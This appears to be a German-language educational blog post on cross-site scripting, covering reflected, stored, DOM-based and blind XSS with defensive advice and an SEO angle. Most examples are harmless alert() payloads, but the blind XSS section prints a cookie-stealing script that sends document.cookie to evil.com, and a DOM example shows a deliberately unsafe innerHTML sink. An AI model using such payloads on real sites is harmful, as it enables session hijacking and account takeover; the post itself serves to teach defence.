XSS: Ein vollständiger Überblick mit Beispielen

Cross-Site Scripting ist nach wie vor eine der am weitesten verbreiteten Sicherheitslücken im Internet, die es Angreifern ermöglicht, bösartigen Code in Websites einzuschleusen. Diese Schwachstelle tritt in verschiedenen Formen auf, jede mit einzigartigen Angriffsvektoren und Konsequenzen. In diesem Blogbeitrag werden wir die verschiedenen Varianten von XSS genauer untersuchen und anhand konkreter Beispiele erläutern.

TL;DR

Gerade für SEO und die Benutzerfreundlichkeit ist es wichtig, dass deine Website sicher und vertrauenswürdig bleibt. Google und andere Suchmaschinen bevorzugen sichere Seiten und können unsichere Seiten sogar abstrafen. Eine reflektierte XSS-Schwachstelle kann nicht nur den Ruf deiner Website beschädigen, sondern auch die SEO-Rankings negativ beeinflussen.

Was ist Reflected XSS?

Reflected Cross Site Scripting (Reflected XSS) ist eine der häufigsten Varianten von Cross Site Scripting-Angriffen, bei dem Schadcode, meist in Form von JavaScript, über eine HTTP-Anfrage eingeschleust wird. Hierbei wird der bösartige Code nicht gespeichert, sondern „reflektiert“ – das heißt, er wird direkt an den Benutzer zurückgespielt, z.B. in Suchfeldern, Kontaktformularen oder URL-Parametern. Reflected XSS ist besonders gefährlich, weil der Angreifer Benutzer dazu verleiten kann, speziell präparierte Links anzuklicken. Einmal geklickt, kann dieser Code den Browser des Opfers beeinflussen, ohne dass er es direkt bemerkt.

Reflected XSS verstehen: Ein einfaches Beispiel

Stellen wir uns vor, du besuchst eine Website und suchst nach einem Produkt. Der Suchbegriff wird dann in der URL und direkt auf der Seite angezeigt. Nehmen wir an, die Seite überprüft die Eingabe nicht sorgfältig genug und zeigt den Suchbegriff direkt an. Ein Angreifer könnte dies ausnutzen, indem er eine manipulierte URL erstellt, die den Schadcode enthält.

Ein einfaches Beispiel für eine solche URL könnte so aussehen:

https://example.com/search?q=<script>alert('XSS!');</script>

Wenn die Seite den Wert von q (hier <script>alert('XSS!');</script>) ohne Validierung direkt anzeigt, wird der eingebettete JavaScript-Code ausgeführt und zeigt eine Pop-up-Nachricht mit “XSS!” an. Das ist natürlich nur ein harmloses Beispiel, aber in der Realität könnte der Angreifer sensible Daten stehlen oder Benutzeraktionen manipulieren.

Wie funktioniert Reflected XSS?

Reflected XSS-Angriffe nutzen Schwachstellen in der Verarbeitung von Benutzereingaben aus. Wenn die Eingaben nicht korrekt gefiltert werden, können Angreifer den Code in der URL verstecken und diesen als legitimen Link tarnen. Wenn jemand auf diesen Link klickt, wird der schädliche JavaScript-Code direkt auf der Website ausgeführt – aber eben nur für den Nutzer, der den Link angeklickt hat. Deshalb nennt man es auch “reflektiert”: Der Code „spiegelt“ sich vom Server zurück in den Browser des Opfers.

Nachdem wir uns im letzten Abschnitt mit Reflected XSS beschäftigt haben, wollen wir nun die nächste Variante von Cross Site Scripting näher betrachten: Stored XSS. Während bei Reflected XSS der bösartige Code „reflektiert“ und direkt über den HTTP-Request an den Benutzer zurückgespielt wird, geht Stored XSS (auch als „Persistentes XSS“ bekannt) einen Schritt weiter und speichert den Schadcode dauerhaft auf dem Server. Das macht diesen Angriffstyp besonders gefährlich und vor allem nachhaltig.

Was ist Stored XSS?

Stored Cross Site Scripting (Stored XSS) ist eine Art von XSS-Angriff, bei dem schädlicher Code, meist in Form von JavaScript, in einer Datenbank oder einem anderen persistenten Speicher abgelegt wird. Stellen wir uns zum Beispiel ein Kommentarfeld auf einer Website vor, das Benutzereingaben ohne Sicherheitsüberprüfung speichert. Ein Angreifer könnte in dieses Feld schädlichen JavaScript-Code einfügen und diesen somit dauerhaft auf der Website „hinterlegen“.

Das Gefährliche: Jede Person, die die Seite mit diesem Kommentar besucht, wird automatisch mit dem Schadcode konfrontiert – ohne darauf vorbereitet zu sein. Bei Reflected XSS muss der Angreifer den Opfer-User dazu bringen, einen präparierten Link anzuklicken, bei Stored XSS hingegen infizieren sich die Nutzer quasi automatisch, wenn sie die betroffene Seite öffnen.

Ein einfaches Beispiel für Stored XSS

Angenommen, du hast ein Gästebuch auf deiner Website, das alle Einträge in einer Datenbank speichert. Wenn jemand einen Kommentar wie diesen eingibt:

<script>alert('XSS!');</script>

Und dieser Code wird gespeichert und ohne Sicherheitsvorkehrungen auf der Seite angezeigt, passiert folgendes: Jedes Mal, wenn jemand die Seite besucht, wird dieser Code ausgeführt und zeigt die „XSS!“-Nachricht an. Natürlich ist das ein harmloses Beispiel, aber ein Angreifer könnte diesen Code auch nutzen, um sensible Daten wie Cookies oder Login-Daten zu stehlen.

Hier ein typisches Szenario:

Ein Angreifer fügt im Kommentarfeld den JavaScript-Code ein und speichert diesen.
Der Code wird in der Datenbank gespeichert und dann in der Kommentarsektion der Seite angezeigt.
Jeder Besucher der Seite wird nun mit diesem Schadcode konfrontiert.

Warum ist Stored XSS so gefährlich?

Stored XSS ist gefährlicher als Reflected XSS, weil der schädliche Code dauerhaft gespeichert wird. Der Angreifer muss nicht darauf hoffen, dass ein Nutzer auf einen bestimmten Link klickt; stattdessen reicht es, dass die Seite aufgerufen wird. Zudem kann der Schadcode mehrere Nutzer gleichzeitig treffen und eine „Kettenreaktion“ auslösen, bei der immer mehr Besucher infiziert werden.

Reflected XSS vs. Stored XSS

Reflected und Stored XSS haben eines gemeinsam: Sie nutzen Schwachstellen bei der Verarbeitung von Benutzereingaben aus, um Schadcode auszuführen. Doch während Reflected XSS durch direkte Interaktion ausgelöst wird, ist Stored XSS dauerhafter und kann breiter gestreut werden. Beide Angriffe zu verstehen und zu verhindern, ist entscheidend für die Sicherheit deiner Website und die Benutzerfreundlichkeit – ganz zu schweigen von der SEO-Optimierung, denn Google mag sichere, vertrauenswürdige Seiten.

Nachdem wir nun die Unterschiede zwischen Reflected XSS und Stored XSS geklärt haben, kommen wir zu einer etwas anderen Art von Cross Site Scripting: DOM-based XSS. Diese Art von XSS-Angriff ist besonders trickreich, da sie sich nicht wie die vorherigen beiden auf serverseitig gespeicherten oder reflektierten Inhalten abspielt, sondern ausschließlich im „Document Object Model“ (DOM) des Browsers stattfindet. Damit ist DOM-based XSS eher ein clientseitiges Problem und stellt eine zusätzliche Herausforderung bei der Web-Sicherheit dar.

Was ist DOM-based XSS?

DOM-based Cross Site Scripting, kurz DOM XSS, ist eine XSS-Variante, bei der der Schadcode direkt im Browser des Benutzers ausgeführt wird, ohne dass er den Server involviert. Der Angriff passiert also „rein im Client“: Ein Angreifer manipuliert das DOM der Seite, sodass unsichere Daten, die im Browser selbst verarbeitet werden, zur Ausführung kommen.

Ein typisches Szenario könnte eine JavaScript-Funktion sein, die Benutzereingaben direkt in die Seite schreibt, z.B. durch document.write() oder innerHTML. Wenn diese Eingaben nicht sicher verarbeitet werden, kann das bösartige Skript direkt im Browser des Opfers ausgeführt werden.

Ein einfaches Beispiel für DOM-based XSS

Nehmen wir an, du hast eine Funktion in JavaScript, die eine Nachricht von der URL liest und diese dann auf der Seite anzeigt. Der URL-Parameter msg wird in diesem Fall ungesichert in das DOM eingefügt:

const message = new URLSearchParams(window.location.search).get('msg');
document.getElementById("output").innerHTML = message;

Wenn nun ein Angreifer eine URL wie diese generiert:

https://example.com/page?msg=<script>alert('DOM XSS!');</script>

dann wird der JavaScript-Code <script>alert('DOM XSS!');</script> in die Seite eingebunden, und das Pop-up mit „DOM XSS!“ erscheint, sobald die Seite geladen wird. Dies passiert, ohne dass die Daten jemals den Server erreicht haben – die Manipulation findet nur im Browser statt.

Warum ist DOM-based XSS gefährlich?

DOM XSS ist besonders schwer zu entdecken und zu verhindern, weil der Angriff direkt im Browser und im Client-seitigen JavaScript stattfindet. Traditionelle Sicherheitsmaßnahmen auf dem Server helfen hier nicht, da der Server bei der Ausführung nicht beteiligt ist. Angreifer können somit das Verhalten der Seite verändern, Benutzeraktionen beeinflussen und unter Umständen sogar sensible Informationen stehlen – und das alles ohne Spuren auf dem Server zu hinterlassen.

Schutz vor DOM-based XSS

DOM-based XSS-Angriffe erfordern besondere Aufmerksamkeit, da viele klassische XSS-Schutzmechanismen hier nicht greifen. Um deine Website sicherer zu machen, gibt es einige Best Practices:

Sichere DOM-Manipulation: Verwende niemals Methoden wie innerHTML oder document.write(), um ungesicherte Daten in die Seite einzufügen. Nutze stattdessen Methoden wie textContent oder setAttribute, die Eingaben als Text behandeln und keine HTML-Interpretation zulassen.
Content Security Policy (CSP): CSP kann auch bei DOM-based XSS-Angriffen helfen, indem es die Ausführung von Skripten aus unsicheren Quellen blockiert.
Daten validieren und escapen: Auch im JavaScript-Code sollten alle Daten validiert und escapen werden, bevor sie im DOM verwendet werden.

Reflected XSS vs. Stored XSS vs. DOM-based XSS

Zusammengefasst ist DOM-based XSS eine spezielle Form des Cross Site Scripting, die sich auf die clientseitige Manipulation des DOM konzentriert. Im Gegensatz zu Reflected und Stored XSS hat DOM XSS nichts mit dem Server zu tun – das macht es schwerer zu entdecken und zu verhindern. Ein umfassender Schutz vor Cross Site Scripting setzt daher auf eine Kombination verschiedener Sicherheitsstrategien für die serverseitige und clientseitige Sicherheit.

Alle drei Formen von XSS sind gefährlich, und eine sichere Webentwicklung erfordert es, die potenziellen Schwachstellen zu kennen und entsprechend abzusichern. Google honoriert sicher entwickelte Websites mit besserem SEO-Ranking, sodass sich die Investition in Sicherheitsmaßnahmen langfristig nicht nur in Sachen Sicherheit, sondern auch in der Sichtbarkeit in den Suchergebnissen bezahlt macht.

Nachdem wir die gängigeren Formen von Cross Site Scripting wie Reflected, Stored und DOM-based XSS durchgegangen sind, kommen wir jetzt zu einer weniger bekannten, aber extrem heimtückischen Variante: Blind XSS. Diese Art von XSS unterscheidet sich dadurch, dass der Angreifer den Angriffscode zwar injiziert, aber keinen direkten Zugriff auf die Seite hat, um zu sehen, wie oder ob der Code ausgeführt wird. Stattdessen wird der Code an einem späteren Punkt und oft im Admin-Bereich der Anwendung ausgelöst – und bleibt so für längere Zeit unbemerkt.

Was ist Blind XSS?

Blind XSS (Blind Cross Site Scripting) ist eine Form von Stored XSS, bei der der Angreifer den bösartigen JavaScript-Code „blind“ einsetzt. Das heißt, der Angreifer sieht das Ergebnis des Angriffs nicht direkt, sondern verlässt sich darauf, dass jemand – häufig ein Administrator oder Support-Mitarbeiter – den Schadcode später unbeabsichtigt auslöst, wenn er die betroffene Seite besucht. Blind XSS wird oft in Support-Tickets, Feedback-Formularen oder anderen internen Systemen platziert, wo der Code gespeichert wird und von einem internen Nutzer irgendwann abgefragt wird.

Ein Beispiel für Blind XSS

Angenommen, eine Website hat ein Feedback-Formular, in dem Nutzer Kommentare hinterlassen können. Ein Angreifer könnte hier statt einem normalen Kommentar bösartigen JavaScript-Code eingeben:

<script>fetch('https://evil.com/steal?cookie=' + document.cookie);</script>

Der Code wird in der Datenbank gespeichert und ist zunächst für niemanden sichtbar. Später, wenn ein Admin oder Support-Mitarbeiter die Feedback-Nachricht in seinem Admin-Dashboard öffnet, wird der Code unbemerkt ausgeführt und die Cookies des Admins werden an die angegebene URL gesendet. In diesem Fall könnte der Angreifer mit diesen gestohlenen Informationen möglicherweise auf privilegierte Bereiche zugreifen.

Warum ist Blind XSS so gefährlich?

Blind XSS ist besonders tückisch, weil der Angreifer kein direktes Feedback erhält, ob der Angriff funktioniert hat. Stattdessen „wartet“ der Schadcode darauf, dass jemand ihn ausführt, was die Entdeckung erschwert. Auch Sicherheitsmaßnahmen auf Client-Seite sind hier oft nutzlos, da die Bedrohung intern und unbemerkt bleibt. Blind XSS ist daher schwer zu debuggen und wird oft erst bemerkt, wenn es bereits zu spät ist.

Schutz vor Blind XSS

Blind XSS erfordert besondere Schutzmaßnahmen, weil klassische Sicherheitsmechanismen oft nicht ausreichen. Hier einige Tipps, um sich vor Blind XSS zu schützen:

Eingaben escapen und validieren: Alle Daten, die Benutzer eingeben – selbst wenn sie „harmlos“ erscheinen – sollten escapt und gründlich überprüft werden, bevor sie angezeigt werden.
Sandboxing und Isolierung: Sensible Admin-Bereiche sollten so isoliert sein, dass Scripts keinen Schaden anrichten können. Verwende moderne Sicherheitsfeatures wie iframe-Sandboxing und Content-Security-Policy(CSP), um Skripte stark einzuschränken.
Zusätzliche Sicherheitsprotokolle für interne Tools: Admin-Bereiche und andere interne Systeme sollten besonders gesichert und regelmäßig auf potenziellen XSS-Angriffscode überprüft werden.
XSS-Audit-Tools nutzen: Tools wie XSS Hunter können helfen, Blind XSS Schwachstellen aufzuspüren. Sie zeigen dem Angreifer, ob und wann sein Payload ausgeführt wurde und bieten somit eine Möglichkeit, den Code vorab zu testen, ohne einen echten Angriff durchzuführen.

Blind XSS im Vergleich zu anderen XSS-Angriffen

Im Gegensatz zu Reflected, Stored und DOM-based XSS ist Blind XSS besonders gefährlich, da es auf die Interaktion anderer Benutzer, meist Administratoren, angewiesen ist. Diese XSS-Variante ist subtiler und schwer zu entdecken, da der Angriff oft tief in den internen Systemen versteckt ist und erst ausgelöst wird, wenn ein interner Benutzer den Schadcode ausführt. Ein umfassender XSS-Schutz, der auch Blind XSS berücksichtigt, sorgt nicht nur für mehr Sicherheit, sondern trägt auch zur langfristigen SEO-Optimierung bei. Denn Google belohnt Websites, die ihre Benutzer und Daten zuverlässig schützen.

Schutz vor XSS

Um dich und deine Website vor Reflected XSS zu schützen, sollten alle Eingaben, die der Benutzer macht, sorgfältig validiert und gefiltert werden. Hier sind einige einfache Schritte:

Eingaben escapen – Stelle sicher, dass alle HTML-Sonderzeichen (wie <, >, &, usw.) escaped werden.
Content Security Policy (CSP) – Eine gut konfigurierte CSP kann den Schaden eines XSS-Angriffs erheblich reduzieren.
Serverseitige Validierung – Überprüfe Eingaben serverseitig, um sicherzustellen, dass kein schädlicher Code ausgeführt wird.

XSS und SEO: Warum sollte es dir wichtig sein?

Gerade für SEO und die Benutzerfreundlichkeit ist es wichtig, dass deine Website sicher und vertrauenswürdig bleibt. Google und andere Suchmaschinen bevorzugen sichere Seiten und können unsichere Seiten sogar abstrafen. Eine XSS-Schwachstelle kann nicht nur den Ruf deiner Website beschädigen, sondern auch die SEO-Rankings negativ beeinflussen.